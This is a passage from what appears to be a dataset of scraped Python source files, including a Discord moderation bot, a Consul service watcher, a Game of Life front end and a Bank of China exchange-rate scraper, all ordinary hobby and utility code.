samples = shuffle(samples)\n samples = samples if quantity is -1 else samples[:quantity]\n\n print(\"total samples: {}\".format(len(samples)))\n return train_test_split(samples, test_size=0.2)\n\n @staticmethod\n def get_paths_and_steering(batch_sample):\n # center, left and right paths and steering\n center = batch_sample[0].split('/')[-1]\n left = batch_sample[1].split('/')[-1]\n right = batch_sample[2].split('/')[-1]\n steer = float(batch_sample[3])\n # steering correction\n corr = 0.2\n\n return center, left, right, steer, corr\n\n @staticmethod\n def generator(samples, batch_size=32):\n \"\"\"\n generator --> 1- infinite while loop 2- yield instead of return\n :param samples: lines from csv file\n :param batch_size: how many features and labels each time\n :return: features, labels\n \"\"\"\n imdir = conf[\"selected_img_file\"]\n num_samples = len(samples)\n\n # Loop forever so the generator never terminates\n while 1:\n for offset in range(0, num_samples, batch_size):\n\n batch_samples = samples[offset:offset + batch_size]\n images, measurements = [], []\n\n for batch_sample in batch_samples:\n\n # center, left & right paths and steering\n center, left, right, steer, corr = Helper.get_paths_and_steering(batch_sample)\n\n # check for image file existence for given path in csv\n if exists(imdir + center) and exists(imdir + left) and exists(imdir + right):\n\n # center, left and right images\n im_center, im_left, im_right = imr(imdir + center), imr(imdir + left), imr(imdir + right)\n # steering for center, left and right images\n m_center, m_left, m_right = steer, steer + corr, steer - corr\n\n # extend images\n if conf[\"allow_data_flips\"] is True:\n # flips of the images\n im_center_f, im_left_f, im_right_f = flp(im_center), flp(im_left), flp(im_right)\n\n # steering for flips\n m_center_f, m_left_f, m_right_f = -steer, -(steer + corr), -(steer - corr)\n\n # extend measurements and images with flips\n images.extend((im_center_f, im_left_f, im_right_f))\n measurements.extend((m_center_f, m_left_f, m_right_f))\n\n # extend measurements and images with originals\n images.extend((im_center, im_left, im_right))\n measurements.extend((m_center, m_left, m_right))\n\n features = np.array(images)\n labels = np.array(measurements)\n\n if conf[\"is_debug_enabled\"]:\n for feature in features:\n cv.imshow(\"center: \", feature)\n cv.waitKey()\n yield shuffle(features, labels)\n\n @staticmethod\n def show_history(history):\n plt.plot(history['loss'])\n plt.plot(history['val_loss'])\n plt.title('Model Metrics')\n plt.ylabel('mean squared error loss')\n plt.xlabel('epoch')\n plt.legend(['training set', 'validation set'], loc='upper right')\n plt.show()\n\n @staticmethod\n def get_model_summary(model):\n for layer in model.layers:\n print(layer.get_weights())\n print(\"model summary: \\n{}\\n\".format(model.summary()))\n print(\"model parameters: \\n{}\\n\".format(model.count_params()))\n\n @staticmethod\n def save_model(model, history):\n # 1- architecture\n # 2- weights\n # 3- optimizer and loss\n # 4- used for transfer learning with load_model\n model.save(conf[\"model\"])\n Helper.show_history(history.history)\n\n @staticmethod\n def get_model():\n model = load_model('../model.h5') if conf[\"use_pre_trained\"] else Classifier.implement_classifier()\n return model\n","sub_path":"implementation/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":5156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"586466728","text":"from discord.ext import commands\nimport json, aiohttp, asyncio, traceback, discord, inspect, io, textwrap, datetime\nfrom platform import python_version\nfrom contextlib import redirect_stdout\nfrom datetime import datetime\nfrom collections import Counter\nfrom utils import checks\n\nMUTED_ROLE = 448054088232337408\nGUILD_ID = 302689712617816064\n\nclass MemberID(commands.Converter):\n async def convert(self, ctx, argument):\n try:\n m = await commands.MemberConverter().convert(ctx, argument)\n except commands.BadArgument:\n try:\n return int(argument, base=10)\n except ValueError:\n raise commands.BadArgument(f\"{argument} is not a valid member or member ID.\") from None\n else:\n can_execute = ctx.author.id == ctx.bot.owner_id or \\\n ctx.author == ctx.guild.owner or \\\n ctx.author.top_role > m.top_role\n\n if not can_execute:\n raise commands.BadArgument('You cannot do this action on this user due to role hierarchy.')\n return m.id\n\nclass BannedMember(commands.Converter):\n async def convert(self, ctx, argument):\n ban_list = await ctx.guild.bans()\n try:\n member_id = int(argument, base=10)\n entity = discord.utils.find(lambda u: u.user.id == member_id, ban_list)\n except ValueError:\n entity = discord.utils.find(lambda u: str(u.user) == argument, ban_list)\n\n if entity is None:\n raise commands.BadArgument(\"Not a valid previously-banned member.\")\n return entity\n\nclass ActionReason(commands.Converter):\n async def convert(self, ctx, argument):\n ret = f'{ctx.author} (ID: {ctx.author.id}): {argument}'\n\n if len(ret) > 512:\n reason_max = 512 - len(ret) - len(argument)\n raise commands.BadArgument(f'reason is too long ({len(argument)}/{reason_max})')\n return ret\n\nclass Moderation:\n \"\"\"Moderator Commands\"\"\"\n\n def __init__(self, bot):\n self.bot = bot\n self._last_result = None\n self.sessions = set()\n\n @commands.group(invoke_without_command=True)\n async def blacklist(self, ctx):\n \"\"\"Shows the blacklisted members\"\"\"\n data = await self.bot.db.fetch(\"SELECT * FROM blacklist\")\n fmt = [f\"**- {self.bot.get_user(data[_]['userid'])}**\\n\" for _ in range(len(data))]\n\n if len(data) == 0:\n e = discord.Embed(color=16720640)\n e.add_field(name=f\"Blacklisted Members ({len(data)})\", value=f'No one is currently blacklisted!')\n await ctx.send(embed=e)\n else:\n e = discord.Embed(color=discord.Color.purple())\n e.add_field(name=f\"Blacklisted Members ({len(data)})\", value=f''.join(fmt))\n await ctx.send(embed=e)\n\n @blacklist.command()\n @checks.has_permissions(manage_guild=True)\n async def add(self, ctx, user: discord.Member, *, reason = None):\n \"\"\"Blacklist a user from using the bot's commands\"\"\"\n\n data = await self.bot.db.fetch(\"SELECT * FROM blacklist WHERE userid=$1 AND guildid=$2;\", user.id, ctx.guild.id)\n if data:\n e = discord.Embed(color=16720640)\n e.add_field(name=f\"Error <:no:473312284148498442>\", value=f\"{user.mention} is already blacklisted!\")\n return await ctx.send(embed=e)\n \n await self.bot.db.execute(\"INSERT INTO blacklist VALUES ($1, $2)\", user.id, ctx.guild.id)\n self.bot.blacklist.append(user.id)\n\n if reason is None:\n e = discord.Embed(color=discord.Color.green())\n e.add_field(name=f\"Blacklist Add <:yes:473312268998803466>\", value=f'Blacklisted {user.mention} from using the bots commands')\n await ctx.send(embed=e)\n else:\n e = discord.Embed(color=discord.Color.green())\n e.add_field(name=f\"Blacklist Add <:yes:473312268998803466>\", value=f'Blacklisted {user.mention} from using the bots commands for: {reason}')\n await ctx.send(embed=e) \n\n @blacklist.command(aliases=['un'])\n @checks.has_permissions(manage_guild=True)\n async def remove(self, ctx, *, user: discord.Member):\n \"\"\"Remove a blacklisted user\"\"\"\n\n data = await self.bot.db.fetch(\"SELECT * FROM blacklist WHERE userid=$1 AND guildid=$2;\", user.id, ctx.guild.id)\n if not data:\n e = discord.Embed(color=16720640)\n e.add_field(name=f\"Error <:no:473312284148498442>\", value=f\"{user.mention} is not blacklisted!\")\n return await ctx.send(embed=e)\n\n await self.bot.db.execute(\"DELETE FROM blacklist WHERE userid=$1 AND guildid=$2\", user.id, ctx.guild.id)\n self.bot.blacklist.remove(user.id)\n\n e = discord.Embed(color=discord.Color.green())\n e.add_field(name=f\"Blacklist Removed <:yes:473312268998803466>\", value=f\"Removed {user.mention} from the blacklisted list. They can now use commands again\")\n await ctx.send(embed=e)\n\n @commands.group(aliases=['nick'], invoke_without_command=True)\n @commands.has_permissions(manage_nicknames=True)\n async def nickname(self, ctx):\n \"\"\"This is a subcommand for all commands following nick\n\n You must have Manage Nicknames permissions to use this command\"\"\"\n\n pass\n\n @nickname.command()\n @commands.has_permissions(manage_nicknames=True)\n async def set(self, ctx, member: discord.Member, *, nick):\n \"\"\"Change the nickname of a member\n\n Must have Manage Nicknames permission to use the command\"\"\"\n\n await member.edit(nick=nick)\n e = discord.Embed(color=discord.Color.orange())\n e.add_field(name=\"Nick Changed <:yes:473312268998803466>\", value=f\"**{member}**'s nickname has been changed to **{nick}**!\")\n await ctx.send(embed=e)\n\n @nickname.command()\n @commands.has_permissions(manage_nicknames=True)\n async def reset(self, ctx, *, member: discord.Member):\n \"\"\"Reset the nickname of a member\n\n Must have Manage Nicknames permission to use the command\"\"\"\n\n await member.edit(nick=None)\n e = discord.Embed(color=discord.Color.orange())\n e.add_field(name=\"Nick Reset <:yes:473312268998803466>\", value=f\"**{member}**'s nickname has been reset!\")\n await ctx.send(embed=e)\n\n @commands.group(invoke_without_command=True)\n @commands.has_permissions(manage_channels=True)\n async def slowmode(self, ctx, seconds=\"15\"):\n \"\"\"Activate slowmode in a channel for 'x' number of seconds\n\n Default seconds are 15\n\n You must have Manage Channels permissions to use this command\"\"\"\n\n await ctx.channel.edit(slowmode_delay=seconds)\n e = discord.Embed(color=discord.Color.blue())\n e.add_field(name=\"Slowmode <:yes:473312268998803466>\", value=f\"Slowmode has now been activated for **{seconds}** seconds in channel <#{ctx.channel.id}>\")\n await ctx.send(embed=e)\n\n @slowmode.group(aliases=['off', 'o', 'none', '0'])\n @commands.has_permissions(manage_channels=True)\n async def reset(self, ctx):\n \"\"\"Turn off slowmode in a channel\n\n You must have Manage Channels permissions to use this command\"\"\"\n\n await ctx.channel.edit(slowmode_delay=None)\n e = discord.Embed(color=discord.Color.blue())\n e.add_field(name=\"Slowmode Reset <:yes:473312268998803466>\", value=f\"Slowmode has been turned off in channel <#{ctx.channel.id}>\")\n await ctx.send(embed=e)\n\n @commands.command()\n @commands.guild_only()\n @checks.has_permissions(ban_members=True)\n async def ban(self, ctx, member: MemberID, *, reason: ActionReason = None):\n \"\"\"Bans a member from the server\n\n You must specify the users' ID, @tag, or Username\n\n It is optional to use a reason for the ban\"\"\"\n \n channel = self.bot.get_channel(448342563980705794)\n\n if reason is None:\n reason = f'Action done by {ctx.author} (ID: {ctx.author.id})'\n\n await ctx.guild.ban(discord.Object(id=member), reason=reason)\n await channel.send(f'**<@{member}>** has been bannned from **{ctx.guild.name}** for **{reason}**')\n\n\n @commands.command()\n @commands.guild_only()\n @checks.has_permissions(kick_members=True)\n async def kick(self, ctx, member: MemberID, *, reason: ActionReason = None):\n \"\"\"Bans a member\"\"\"\n\n if reason is None:\n reason = f'Action done by {ctx.author} (ID: {ctx.author.id})'\n\n await ctx.guild.kick(discord.Object(id=member), reason=reason)\n await ctx.send(f'**<@{member}>** has been kicked from **{ctx.guild.name}** for **{reason}**')\n\n @commands.command()\n @commands.guild_only()\n @checks.has_permissions(ban_members=True)\n async def unban(self, ctx, member: BannedMember, *, reason: ActionReason = None):\n \"\"\"Unbans a member\"\"\"\n\n if reason is None:\n reason = f'Action done by {ctx.author} (ID: {ctx.author.id})'\n\n await ctx.guild.unban(member.user, reason=reason)\n\n if member.reason:\n await ctx.send(f'Unbanned {member.user} (ID: {member.user.id}), previously banned for {member.reason}.')\n else:\n await ctx.send(f'Unbanned {member.user} (ID: {member.user.id}).')\n\n @commands.command()\n @commands.guild_only()\n @commands.check(lambda ctx: ctx.guild and ctx.guild.id == GUILD_ID)\n @commands.has_permissions(manage_roles=True)\n async def mute(self, ctx, user: discord.Member, *, reason = None):\n \"\"\"Mutes a member\"\"\"\n if reason is None:\n if any(r.id == MUTED_ROLE for r in ctx.author.roles):\n return await ctx.message.add_reaction('\\N{WARNING SIGN}')\n try:\n await user.add_roles(discord.Object(id=MUTED_ROLE))\n except:\n await ctx.message.add_reaction('\\N{NO ENTRY SIGN}')\n else:\n return await ctx.send(f\"Muted <@{user.id}>\")\n else:\n if None(r.id == MUTED_ROLE for r in ctx.author.roles):\n return await ctx.message.add_reaction('\\N{WARNING SIGN}')\n try:\n await user.add_roles(discord.Object(id=MUTED_ROLE))\n except:\n await ctx.message.add_reaction('\\N{NO ENTRY SIGN}')\n else:\n return await ctx.send(f\"Muted <@{user.id}> for **{reason}**\")\n\n @commands.command()\n @commands.guild_only()\n @commands.has_permissions(manage_roles=True)\n async def unmute(self, ctx, user: discord.Member):\n \"\"\"Mutes a member\"\"\"\n try:\n await user.remove_roles(discord.Object(id=MUTED_ROLE))\n except:\n await ctx.message.add_reaction('\\N{NO ENTRY SIGN}')\n return await ctx.send(f\"Unmuted <@{user.id}>\")\n\ndef setup(bot):\n bot.add_cog(Moderation(bot))","sub_path":"modules/moderation.py","file_name":"moderation.py","file_ext":"py","file_size_in_byte":10809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"432553940","text":"import os\nfrom django.shortcuts import render\nfrom django.template import RequestContext\nfrom test_site.settings import swagger_client as client\nfrom mpcontribs.io.core.recdict import RecursiveDict\nfrom mpcontribs.io.core.components.tdata import Table\n\nproject = os.path.dirname(__file__).split(os.sep)[-2]\n\ndef index(request):\n ctx = RequestContext(request)\n try:\n ctx['project'] = project\n prov = client.projects.get_entry(project=project).response().result\n prov.pop('id')\n ctx['title'] = prov.pop('title')\n ctx['provenance'] = RecursiveDict(prov).render()\n columns = ['phase', 'ΔH', 'ΔH|hyd', 'GS?', 'CIF']\n data = client.contributions.get_table(\n project=project, columns=columns, per_page=3\n ).response().result\n columns = list(data['items'][0].keys())\n table = Table(data['items'], columns=columns)\n ctx['table'] = table.render(project=project)\n except Exception as ex:\n ctx['alert'] = str(ex)\n return render(request, \"explorer_index.html\", ctx.flatten())\n","sub_path":"mpcontribs-users/mpcontribs/users/MnO2_phase_selection/explorer/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"208687501","text":"import consul.aio\nimport asyncio\nimport time\nimport logging\nfrom consul.base import Timeout\nfrom consistent_hash_ring import ConsistentHashRing\nfrom metrics import *\n\n\nclass Consul(object):\n def __init__(self, host, port):\n '''初始化,连接consul服务器'''\n self.consul = consul.Consul(host, port)\n # self.aio_consul = consul.aio.Consul(host=host, port=port, loop=loop)\n\n def register_service(self, name, host, port, tags=None):\n tags = tags or []\n # 注册服务\n # id = \"{}_{}\".format(host, port)\n id = \"{}_{}_{}\".format(name, host, port)\n return self.consul.agent.service.register(\n name,\n id,\n host,\n port,\n tags,\n # 健康检查ip端口,检查时间:5,超时时间:30,注销时间:30s\n # check=consul.Check().tcp(host, port, \"5s\", \"5s\", \"60s\"))\n check=consul.Check().tcp(host, port, \"5s\", \"5s\"))\n\n def get_service(self, name):\n services = self.consul.agent.services()\n service = services.get(name)\n if not service:\n return None, None\n addr = \"{0}:{1}\".format(service['Address'], service['Port'])\n return service, addr\n\n def block_get_health(self, service_name, service_hash_map, dq):\n index = None\n while True:\n try:\n index, d = self.consul.health.service(service_name, passing=True, index=index)\n if d:\n data = d\n new_nodes = []\n for x in data:\n address = x.get(\"Service\").get(\"Address\")\n if address:\n new_nodes.append(address)\n\n old_nodes = service_hash_map[service_name].nodes\n\n if set(old_nodes) != set(new_nodes):\n logging.info(\"[new_num:{} old_num:{}][new_nodes:{} old_nodes:{}]\".format(\n len(new_nodes),\n len(old_nodes),\n \",\".join(new_nodes),\n \",\".join(old_nodes),\n\n ))\n new_ring = ConsistentHashRing(100, new_nodes)\n service_hash_map[service_name] = new_ring\n dq.appendleft(str(service_name))\n # dq.put(str(service_name))\n M_SERVICE_CHANGES.labels(service_name=service_name, old_nodes=len(old_nodes),\n new_nodes=len(new_nodes)).set(len(new_nodes))\n except Exception as e:\n logging.error(\"[watch_error,service:{},error:{}]\".format(service_name, e))\n time.sleep(5)\n continue\n\n\ndef start_thread_loop(loop):\n asyncio.set_event_loop(loop)\n loop.run_forever()\n\n\nasync def watch_service(service_name, async_consul, service_hash_map, dq):\n # always better to pass ``loop`` explicitly, but this\n # is not mandatory, you can relay on global event loop\n # port = 8500\n # c = consul.aio.Consul(host=host, port=port, loop=loop)\n index = None\n data = None\n # set value, same as default api but with ``await``\n while True:\n try:\n\n index, d = await async_consul.health.service(service_name, passing=True, index=index)\n if d:\n data = d\n new_nodes = []\n serivce_name = \"\"\n for x in data:\n sn = x.get(\"Service\").get(\"Service\")\n address = x.get(\"Service\").get(\"Address\")\n if address:\n new_nodes.append(address)\n if sn and not serivce_name:\n serivce_name = sn\n\n old_nodes = service_hash_map[serivce_name].nodes\n\n if set(old_nodes) != set(new_nodes):\n print(\"[new_num:{} old_num:{}][new_nodes:{} old_nodes:{}]\".format(\n len(new_nodes),\n len(old_nodes),\n \",\".join(new_nodes),\n \",\".join(old_nodes),\n\n ))\n new_ring = ConsistentHashRing(100, new_nodes)\n service_hash_map[serivce_name] = new_ring\n dq.appendleft(str(service_name))\n\n except Timeout:\n # gracefully handle request timeout\n continue\n except Exception as e:\n print(\"[watch_error,service:{},error:{}]\".format(service_name, e))\n continue\n\n\nif __name__ == '__main__':\n c = Consul(\"localhost\", 8500, loop=None)\n print(c.get_health(\"scrape_prome_test\"))\n","sub_path":"consul_work.py","file_name":"consul_work.py","file_ext":"py","file_size_in_byte":4734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"273473472","text":"\"\"\"\nhttps://leetcode.com/problems/find-numbers-with-even-number-of-digits/\n\"\"\"\n\n\ndef find_numbers(nums):\n result = 0\n for i in nums:\n i = str(i)\n if len(i) % 2 == 0:\n result = result + 1\n return result\n","sub_path":"src/leetcode/find_number.py","file_name":"find_number.py","file_ext":"py","file_size_in_byte":236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"20430248","text":"from pyld import jsonld\nimport json\nimport os\nfrom .utils import start_server, stop_server\nimport requests\n\n\ndef file2shape(filename, shape_dir):\n with open(filename) as json_file:\n data = json.load(json_file)\n if \"@type\" not in data:\n raise ValueError(f\"{filename} missing @type\")\n if \"Protocol\" in data[\"@type\"]:\n shape_file_path = os.path.join(shape_dir, \"ProtocolShape.ttl\")\n elif \"Activity\" in data[\"@type\"]:\n shape_file_path = os.path.join(shape_dir, \"ActivityShape.ttl\")\n elif \"Field\" in data[\"@type\"]:\n shape_file_path = os.path.join(shape_dir, \"FieldShape.ttl\")\n elif \"ResponseOptions\" in data[\"@type\"]:\n shape_file_path = os.path.join(shape_dir, \"ResponseOptionsShape.ttl\")\n return data, shape_file_path\n\n\ndef localnormalize(data, root=None, started=False, http_kwargs={}):\n \"\"\"Normalize a JSONLD document using a local HTTP server\n\n Since PyLD requires an http url, a local server is started to serve the\n document.\n\n Parameters\n ----------\n data : dict\n Python dictionary containing JSONLD object\n root : str\n Server path to the document such that relative links hold\n started : bool\n Whether an http server exists or not\n http_kwargs : dict\n Keyword arguments for the http server. Valid keywords are: port, path\n and tmpdir\n\n Returns\n -------\n normalized : str\n A normalized document\n\n \"\"\"\n kwargs = {\"algorithm\": \"URDNA2015\", \"format\": \"application/n-quads\"}\n if root is not None:\n if not started:\n stop = start_server(**http_kwargs)\n base_url = f\"http://localhost:8000/{root}/\"\n kwargs[\"base\"] = base_url\n normalized = jsonld.normalize(data, kwargs)\n if root is not None:\n if not started:\n stop_server(stop)\n return normalized\n\n\ndef to_nt(path, format):\n \"\"\"Convert a JSONLD document to n-triples format\n\n Since PyLD requires an http url, a local server is started to serve the\n document.\n\n Parameters\n ----------\n path : str\n A local path or remote url to convert to n-triples\n format: str of enum\n Returned format n-triples, turtle\n\n Returns\n -------\n normalized : str\n A normalized document\n\n \"\"\"\n if path.startswith(\"http\"):\n data = requests.get(path).json()\n root = None\n else:\n with open(path) as fp:\n data = json.load(fp)\n root = os.path.dirname(path)\n try:\n nt = localnormalize(data)\n except jsonld.JsonLdError as e:\n if 'only \"http\" and \"https\"' in str(e.cause):\n nt = localnormalize(data, root)\n if format == \"n-triples\":\n return nt\n import rdflib as rl\n\n g = rl.Graph()\n g.parse(data=nt, format=\"nt\")\n return g.serialize(format=format).decode()\n","sub_path":"reproschema/jsonldutils.py","file_name":"jsonldutils.py","file_ext":"py","file_size_in_byte":2872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"528579390","text":"import pygame as pg\nfrom pygame.locals import *\nimport time, random, math, sys, os\nimport threading, copy\nfrom subprocess import Popen, PIPE\nfrom time import sleep\n\nblack = pg.Color(0,0,0)\ngray = pg.Color(120,120,120)\nwhite = pg.Color(255,255,255)\nred = pg.Color(255,0,0)\ngreen = pg.Color(0,0,255)\nblue = pg.Color(0,255,0)\n\nclass Board:\n \n # utils, no touchie\n draws = 0\n window = None\n rects = []\n buf = []\n old_data = []\n ready = False\n\n frames = []\n time = int(time.time())\n\n # all generations\n gens = 0\n # current gen\n gen = 0\n # last generation\n last_gen = 0\n\n def get_empty_board(self):\n data = []\n for i in range(self.x_size):\n data.append( ([\"0\"] * self.y_size))\n\n return data\n\n def clear(self):\n print(\"Clearing\")\n self.old_data = self.frame\n self.frame = self.get_empty_board()\n\n\n def __init__(self, w, x_size, y_size, gens, rand_mode, rand_chance, draw_mode, fractions):\n\n self.x_size = x_size\n self.y_size = y_size\n\n # setting window grapics\n self.w = w\n w.init_with_board(self)\n\n self.fractions = fractions\n self.gens = gens\n\n # setting start arrays\n self.frame = self.get_empty_board()\n self.old_data = self.get_empty_board()\n\n if rand_mode == 1:\n self.rand_mode = True\n self.rand_chance = rand_chance\n else:\n self.rand_mode = False\n\n if draw_mode == 1:\n self.draw_mode = True\n else:\n self.draw_mode = False\n\n if self.draw_mode:\n self.draw()\n \n if self.rand_mode:\n print(\"Generating data in engine\")\n self.generate_in_engine()\n \n def frame_to_engine_input(self):\n out = \"\"\n for i in range(self.x_size):\n for j in range(self.y_size):\n out += self.frame[i][j]\n\n return out\n\n def generate_in_engine(self):\n\n # tryb w którym silnik będize przyjmował dane\n mode = \"\"\n\n if self.rand_mode:\n mode = \"-r %d\" % self.rand_chance\n\n if self.draw_mode:\n mode = \"-i\"\n\n if self.fractions != 1:\n mode += \" -f %d\" % self.fractions\n\n\n args = \"-s %d %d -g %d %s\" % (self.x_size, self.y_size, self.gens, mode)\n \n cmd = \"../engine/a.out \" + args\n print(\"Cmd: \" + cmd)\n p = Popen(cmd, shell=True, stdout=PIPE, stdin=PIPE)\n\n if self.draw_mode:\n data = self.frame_to_engine_input()\n print(\"Wysyłam dane o dlugosci \" + str(len(data)))\n data = p.communicate(input = data.encode())[0].decode();\n else:\n data = p.stdout.read().decode()\n\n lines = data.split(\"\\n\")\n\n print(\"Remaning lines: \" + str(len(lines)))\n\n for i in range(self.gens):\n print(\"Parsing frame: \" + str(i))\n frame = lines[0:self.x_size]\n self.frames.append(frame)\n lines = lines[self.x_size:]\n print(\"Remaning lines: \" + str(len(lines)))\n\n self.frame = self.frames[0]\n self.print_frame()\n self.frame = self.get_empty_board()\n self.draw()\n self.ready = True\n \n print(\"Lines: %d\" % len(lines))\n print(\"data OK! len: \" + str(len(data)))\n\n def print_frame(self):\n\n for x in range(self.x_size):\n print(\"line: %d \" % x, end=\"\" )\n for y in range(self.y_size):\n print(self.frame[x][y], end=\"\")\n print()\n\n # or we could clal it next_frame\n def next_gen(self):\n\n # fps counter\n if self.time != int(time.time()):\n print(\"Fps: %d draws: %d gen: %d\" % ( self.gen - self.last_gen, self.draws, self.gen ) )\n self.last_gen = self.gen\n self.time = int(time.time())\n self.draws= 0 \n\n # next generation logic\n self.gen += 1\n self.old_data = self.frame\n swap = self.frame\n\n if self.gen == len(self.frames):\n return False\n else:\n self.frame = self.frames[self.gen]\n return True\n\n def kill(self, x, y):\n print(\"Kill %d:%d\" % (x,y))\n self.frame[x][y] = \"0\"\n\n def live(self, x, y):\n print(\"Live %d:%d\" % (x,y))\n self.frame[x][y] = \"1\"\n\n def draw(self, al=False):\n\n for i in range(len(self.frame)):\n for j in range(len(self.frame[0])):\n\n point = self.frame[i][j]\n\n if not al:\n if point == self.old_data[i][j]:\n continue\n\n if point != \"0\" and len(point) > 0:\n self.draw_live(i,j, point)\n\n if point == \"0\":\n self.draw_kill(i,j)\n\n self.set_old_data()\n\n\n def set_old_data(self):\n\n self.old_data = copy.deepcopy(self.frame)\n \"\"\"\n for i in range(len(self.frame)):\n for j in range(len(self.frame[0])):\n print(\"1\" + str(type(self.old_data[i][j])))\n print(\"2\" + str(type(self.frame[i][j])))\n self.old_data[i][j] = self.frame[i][j]\n \"\"\"\n def resize(self):\n self.init()\n\n\n def draw_kill(self, x, y):\n #// tutaj wpierdolic obsluge old_data\n self.rects.append(self.w.draw_block(x,y, white))\n self.draws +=1 \n\n\n def draw_live(self, x, y, point):\n #print(\"Libe: %d, %d\" % (x,y))\n\n color = None\n\n if point == \"1\":\n color = black\n\n if point == \"2\":\n color = green\n\n if point == \"3\":\n color = red\n\n if point == \"4\":\n color = blue\n\n self.rects.append(self.w.draw_block(x,y, color))\n self.draws +=1 \n\n def get_rects_to_update(self):\n a = self.rects\n self.rects = []\n return a\n","sub_path":"game_of_life/front/Board.py","file_name":"Board.py","file_ext":"py","file_size_in_byte":5907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"134205471","text":"from unittest import TestCase\nfrom hoplato.utilities.configuration import Configuration\nimport os\n\ndirname, filename = os.path.split(os.path.abspath(__file__))\n\nVALID_CONFIG = os.path.join(dirname, 'sample.ini')\n\nclass TestConfiguration(TestCase):\n '''\n Tests Configuration\n '''\n def test_non_existing_file(self):\n '''Non existing configuration file '''\n with self.assertRaises(ValueError):\n config = Configuration('junk.junk')\n\n def test_valid_file(self):\n '''Valid configuration file'''\n config = Configuration(VALID_CONFIG)\n self.assertEqual(config.RaceTrack.name, 'Belmont')\n self.assertEqual(config.RaceTrack.location, 'Long Island') \n self.assertEqual(config.RaceTrack.bigest_race, 'Belmont Stakes') \n\n def test_invalid_section(self):\n '''Invalid Section '''\n with self.assertRaises(AttributeError): \n config = Configuration(VALID_CONFIG)\n x = config.Junk.name\n\n def test_invalid_option(self):\n '''Invalid Option '''\n with self.assertRaises(AttributeError): \n config = Configuration(VALID_CONFIG)\n x = config.RaceTrack.junk\n\n \n","sub_path":"hoplato/utilities/tests/testconfiguration.py","file_name":"testconfiguration.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"228704571","text":"#!/usr/local/bin/python3\n# -*- coding: utf-8 -*- \n\nimport time\nimport os\nimport requests\nfrom scrapy.selector import Selector\n\n#from scrapy.http import HtmlResponse\n\nlast_time=''\nlast_rate=0\nerror_times=0\nsleeptime=120\nprint(\"-------------------------------------------------\")\nprint(\"| 中行外汇牌价监视器 | Made by Bob | 2018.09.19 |\")\nprint(\"-------------------------------------------------\\n\")\n\nfex = input(\"请选择要抓取的外汇种类:\\n1.英镑(默认)\\n2.美元\\n3.澳元\\n4.欧元\\n\")\n\nwhile True:\n\tif fex == '1' or fex == '':\n\t\tfex_sl = 1314\n\t\tfex_name = 'GBP'\n\t\tbreak\n\telif fex == '2':\n\t\tfex_sl = 1316\n\t\tfex_name = 'USD'\n\t\tbreak\n\telif fex == '3':\n\t\tfex_sl = 1325\n\t\tfex_name = 'AUD'\n\t\tbreak\n\telif fex == '4':\n\t\tfex_sl = 1326\n\t\tfex_name = 'EUR'\n\t\tbreak\n\telse:\n\t\tfex = input(\"输入有误,请重新选择:\\n1.英镑\\n2.美元\\n3.澳元\\n4.欧元\\n\")\n\ndef sleeptimeget(sleeptime):\n\ttry:\n\t\tsleeptime = input(\"多久刷新一次(s): \")\n\t\tif sleeptime == '':\n\t\t\tsleeptime = 120\n\t\t\tprint(\"已按照默认设置刷新(120s)\\n\")\n\t\telse:\n\t\t\tsleeptime = int(sleeptime)\n\texcept:\n\t\tprint(\"输入有误,请重新输入.\\n\")\n\t\tsleeptimeget(sleeptime)\n\ndef getrate(last_time,last_rate,error_times,sleeptime,fex_sl,fex_name):\n\twhile True:\n\n\t\ttry:\n\t\t\tr = requests.post('http://srh.bankofchina.com/search/whpj/search.jsp', data = {'erectDate':'', 'nothing':'', 'pjname':fex_sl})\n\n\t\texcept requests.exceptions.ConnectionError:\n\t\t\terror_times += 1\n\t\t\tprint(\"网络错误, 第%i次.\\n\"%(error_times))\n\t\t\ttime.sleep(10)\n\t\t\tcontinue\n\n\t\tbody = r.text\n\n\t\trate_output = Selector(text=body).xpath('//tr[2]/td[4]/text()').extract()\n\t\ttime_output = Selector(text=body).xpath('//tr[2]/td[7]/text()').extract()\n\n\t\t'''\n\t\tdef compare():\n\t\twith open('/Users/bob/Desktop/boc.log','r') as c:\n\t\t\tlines = c.readlines()\n\t\t\tlast_line = lines[0]\n\t\t\tlast_time = last_line.rstrip('\\n')\n\t\t\tc.close()\n\t\t'''\n\t\t\n\t\t#def printitems():\n\t\t#global last_time\n\t\t#global last_rate\n\t\tif last_time != time_output[0]:\n\t\t\tif float(rate_output[0]) < float(last_rate):\n\t\t\t\tprint('['+fex_name+']',time_output[0],\"-\",rate_output[0],\"▼\",\"\\a\\n\")\n\t\t\telif float(rate_output[0]) > float(last_rate):\n\t\t\t\tprint('['+fex_name+']',time_output[0],\"-\",rate_output[0],\"▲\",\"\\n\")\n\t\t\telse:\n\t\t\t\tprint('['+fex_name+']',time_output[0],\"-\",rate_output[0],\"○\",\"\\n\")\n\n\t\t\t#def record():\n\t\t\t'''\n\t\t\tr=open('/Users/bob/Desktop/boc.log','r+')\n\t\t\told = r.read()\n\t\t\tr.seek(0)\n\t\t\tr.write(time_output[0])\n\t\t\tr.write(\",\")\n\t\t\tr.write(rate_output[0])\n\t\t\tr.write(\"\\n\")\n\t\t\tr.write(old)\n\t\t\tr.close()\n\t\t\t'''\n\t\t\tlast_time = time_output[0]\n\t\t\tlast_rate = rate_output[0]\n\n\t\ttime.sleep(sleeptime)\n\ntry:\n\tsleeptimeget(sleeptime)\n\tgetrate(last_time,last_rate,error_times,sleeptime,fex_sl,fex_name)\nexcept 